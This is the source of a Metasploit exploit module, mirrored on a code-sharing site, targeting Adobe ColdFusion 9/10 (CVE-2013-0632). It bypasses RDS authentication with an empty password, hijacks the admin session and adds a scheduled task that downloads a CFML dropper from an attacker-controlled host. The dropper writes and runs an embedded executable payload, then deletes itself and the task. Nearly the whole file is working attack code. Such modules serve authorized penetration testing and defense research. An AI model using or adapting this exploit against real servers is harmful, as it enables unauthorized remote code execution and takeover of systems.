Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/coldfusion_rds_auth_bypass.rb
36919 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
include Msf::Exploit::Remote::HttpClient
9
include Msf::Exploit::Remote::HttpServer::HTML
10
include Msf::Exploit::EXE
11
include Msf::Module::Deprecated
12
13
moved_from 'exploit/multi/http/coldfusion_rds'
14
15
Rank = GreatRanking
16
17
def initialize(info = {})
18
super(
19
update_info(
20
info,
21
'Name' => 'Adobe ColdFusion RDS Authentication Bypass',
22
'Description' => %q{
23
Adobe ColdFusion 9.0, 9.0.1, 9.0.2, and 10 allows remote
24
attackers to bypass authentication using the RDS component. Due to
25
default settings or misconfiguration, its password can be set to an
26
empty value. This allows an attacker to create a session via the RDS
27
login that can be carried over to the admin web interface even though
28
the passwords might be different, and therefore bypassing authentication
29
on the admin web interface leading to arbitrary code execution. Tested
30
on Windows and Linux with ColdFusion 9.
31
},
32
'Author' => [
33
'Scott Buckel', # Vulnerability discovery
34
'Mekanismen <mattias[at]gotroot.eu>' # Metasploit module
35
],
36
'License' => MSF_LICENSE,
37
'References' => [
38
[ 'CVE', '2013-0632' ],
39
[ 'EDB', '27755' ],
40
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb13-03.html' ]
41
],
42
'Privileged' => false,
43
'Stance' => Msf::Exploit::Stance::Aggressive, # thanks juan!
44
'Targets' => [
45
[
46
'Windows',
47
{
48
'Arch' => ARCH_X86,
49
'Platform' => 'win'
50
}
51
],
52
[
53
'Linux',
54
{
55
'Arch' => ARCH_X86,
56
'Platform' => 'linux'
57
}
58
],
59
],
60
'DefaultTarget' => 0,
61
'DisclosureDate' => '2013-08-08',
62
'Notes' => {
63
'Reliability' => UNKNOWN_RELIABILITY,
64
'Stability' => UNKNOWN_STABILITY,
65
'SideEffects' => UNKNOWN_SIDE_EFFECTS
66
}
67
)
68
)
69
70
register_options(
71
[
72
OptString.new('EXTURL', [ false, 'An alternative host to request the CFML payload from', '' ]),
73
OptInt.new('HTTPDELAY', [false, 'Time that the HTTP Server will wait for the payload request', 10]),
74
]
75
)
76
77
register_advanced_options(
78
[
79
OptString.new('CFIDDIR', [ true, 'Alternative CFIDE directory', 'CFIDE'])
80
]
81
)
82
end
83
84
def check
85
uri = target_uri.path
86
87
# can we access the admin interface?
88
res = send_request_cgi({
89
'method' => 'GET',
90
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'index.cfm')
91
})
92
93
if res && res.code == 200 && res.body.include?('ColdFusion Administrator Login')
94
vprint_good 'Administrator access available'
95
else
96
return Exploit::CheckCode::Safe
97
end
98
99
# is it cf9?
100
res = send_request_cgi({
101
'method' => 'GET',
102
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'images', 'loginbackground.jpg')
103
})
104
105
img = Rex::Text.md5(res.body.to_s)
106
imghash = '596b3fc4f1a0b818979db1cf94a82220'
107
108
if img == imghash
109
vprint_good 'ColdFusion 9 Detected'
110
else
111
return Exploit::CheckCode::Safe
112
end
113
114
# can we access the RDS component?
115
res = send_request_cgi({
116
'method' => 'POST',
117
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'adminapi', 'administrator.cfc'),
118
'vars_post' => {
119
'method' => 'login',
120
'adminpassword' => '',
121
'rdsPasswordAllowed' => '1'
122
}
123
})
124
125
if res && res.code == 200 && res.body.include?('true')
126
return Exploit::CheckCode::Appears
127
else
128
return Exploit::CheckCode::Safe
129
end
130
end
131
132
def exploit
133
@pl = gen_file_dropper
134
@payload_url = ''
135
136
if datastore['EXTURL'].blank?
137
begin
138
Timeout.timeout(datastore['HTTPDELAY']) { super }
139
rescue Timeout::Error
140
end
141
exec_payload
142
else
143
@payload_url = datastore['EXTURL']
144
upload_payload
145
exec_payload
146
end
147
end
148
149
def primer
150
@payload_url = get_uri
151
upload_payload
152
end
153
154
def on_request_uri(cli, request)
155
if request.uri =~ /#{get_resource}/
156
send_response(cli, @pl)
157
end
158
end
159
160
def autofilter
161
true
162
end
163
164
# task scheduler is pretty bad at handling binary files and likes to mess up our meterpreter :-(
165
# instead we use a CFML filedropper to embed our payload and execute it.
166
# this also removes the dependancy of using the probe.cfm to execute the file.
167
168
def gen_file_dropper
169
rand_var = rand_text_alpha(rand(8..15))
170
rand_file = rand_text_alpha(rand(8..15))
171
172
if datastore['TARGET'] == 0
173
rand_file += '.exe'
174
end
175
176
encoded_pl = Rex::Text.encode_base64(generate_payload_exe)
177
178
print_status 'Building CFML shell...'
179
# embed payload
180
shell = ''
181
shell += " <cfset #{rand_var} = ToBinary( \"#{encoded_pl}\" ) />"
182
shell += " <cffile action=\"write\" output=\"##{rand_var}#\""
183
shell += " file= \"#GetDirectoryFromPath(GetCurrentTemplatePath())##{rand_file}\""
184
# if linux set correct permissions
185
if datastore['TARGET'] == 1
186
shell += ' mode = "700"'
187
end
188
shell += '/>'
189
# clean up our evil .cfm
190
shell += ' <cffile action="delete"'
191
shell += ' file= "#GetDirectoryFromPath(GetCurrentTemplatePath())##listlast(cgi.script_name,"/")#"/>'
192
# execute our payload!
193
shell += ' <cfexecute'
194
shell += " name = \"#GetDirectoryFromPath(GetCurrentTemplatePath())##{rand_file}\""
195
shell += ' arguments = ""'
196
shell += ' timeout = "60"/>'
197
198
return shell
199
end
200
201
def exec_payload
202
uri = target_uri.path
203
204
print_status("Our payload is at: #{peer}\\#{datastore['CFIDDIR']}\\#{@filename}")
205
print_status('Executing payload...')
206
207
send_request_cgi({
208
'method' => 'GET',
209
'uri' => normalize_uri(uri, datastore['CFIDDIR'], @filename)
210
})
211
end
212
213
def upload_payload
214
uri = target_uri.path
215
216
@filename = rand_text_alpha(rand(8..15)) + '.cfm' # numbers is a bad idea
217
taskname = rand_text_alpha(rand(8..15)) # numbers is a bad idea
218
219
print_status 'Trying to upload payload via scheduled task...'
220
res = send_request_cgi({
221
'method' => 'POST',
222
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'adminapi', 'administrator.cfc'),
223
'vars_post' => {
224
'method' => 'login',
225
'adminpassword' => '',
226
'rdsPasswordAllowed' => '1'
227
}
228
})
229
230
unless res && res.code == 200
231
fail_with(Failure::Unknown, "#{peer} - RDS component was unreachable")
232
end
233
234
# deal with annoying cookie data prepending (sunglasses)
235
cookie = res.get_cookies
236
237
if res && res.code == 200 && cookie =~ /CFAUTHORIZATION_cfadmin=;(.*)/
238
cookie = ::Regexp.last_match(1)
239
else
240
fail_with(Failure::Unknown, "#{peer} - Unable to get auth cookie")
241
end
242
243
res = send_request_cgi({
244
'method' => 'GET',
245
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'index.cfm'),
246
'cookie' => cookie
247
})
248
249
if res && res.code == 200 && res.body.include?('ColdFusion Administrator')
250
print_good('Logged in as Administrator!')
251
else
252
fail_with(Failure::Unknown, "#{peer} - Login Failed")
253
end
254
255
# get file path gogo
256
res = send_request_cgi({
257
'method' => 'GET',
258
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'settings', 'mappings.cfm'),
259
'vars_get' => {
260
'name' => '/CFIDE'
261
},
262
'cookie' => cookie
263
})
264
265
unless res && res.code == 200
266
fail_with(Failure::Unknown, "#{peer} - Mappings URL was unreachable")
267
end
268
269
if res.body =~ /<input type="text" maxlength="550" name="directoryPath" value="(.*)" size="40" id="dirpath">/
270
file_path = ::Regexp.last_match(1)
271
print_good("File path disclosed! #{file_path}")
272
else
273
fail_with(Failure::Unknown, "#{peer} - Unable to get upload filepath")
274
end
275
276
print_status('Adding scheduled task')
277
res = send_request_cgi({
278
'method' => 'POST',
279
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduleedit.cfm'),
280
'vars_post' => {
281
'TaskName' => taskname,
282
'Start_Date' => 'Nov 1, 2420',
283
'End_Date' => '',
284
'Interval' => '',
285
'ScheduleType' => 'Once',
286
'Operation' => 'HTTPRequest',
287
'ScheduledURL' => @payload_url,
288
'publish' => '1',
289
'publish_file' => "#{file_path}\\#{@filename}",
290
'adminsubmit' => 'Submit'
291
},
292
'cookie' => cookie
293
})
294
295
unless res && res.code == 200 || res.code == 302 # 302s can happen but it still works, http black magic!
296
fail_with(Failure::Unknown, "#{peer} - Scheduled task failed")
297
end
298
299
print_status('Running scheduled task')
300
res = send_request_cgi({
301
'method' => 'GET',
302
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduletasks.cfm'),
303
'vars_get' => {
304
'runtask' => taskname,
305
'timeout' => '0'
306
},
307
'cookie' => cookie
308
})
309
310
if res && res.code == 200 && res.body.include?('This scheduled task was completed successfully')
311
print_good('Scheduled task completed successfully')
312
else
313
fail_with(Failure::Unknown, "#{peer} - Scheduled task failed")
314
end
315
316
print_status('Deleting scheduled task')
317
res = send_request_cgi({
318
'method' => 'GET',
319
'uri' => normalize_uri(uri, datastore['CFIDDIR'], 'administrator', 'scheduler', 'scheduletasks.cfm'),
320
'vars_get' => {
321
'action' => 'delete',
322
'task' => taskname
323
},
324
'cookie' => cookie
325
})
326
327
unless res && res.code == 200
328
print_error('Scheduled task deletion failed, cleanup might be needed!')
329
end
330
end
331
end
332
333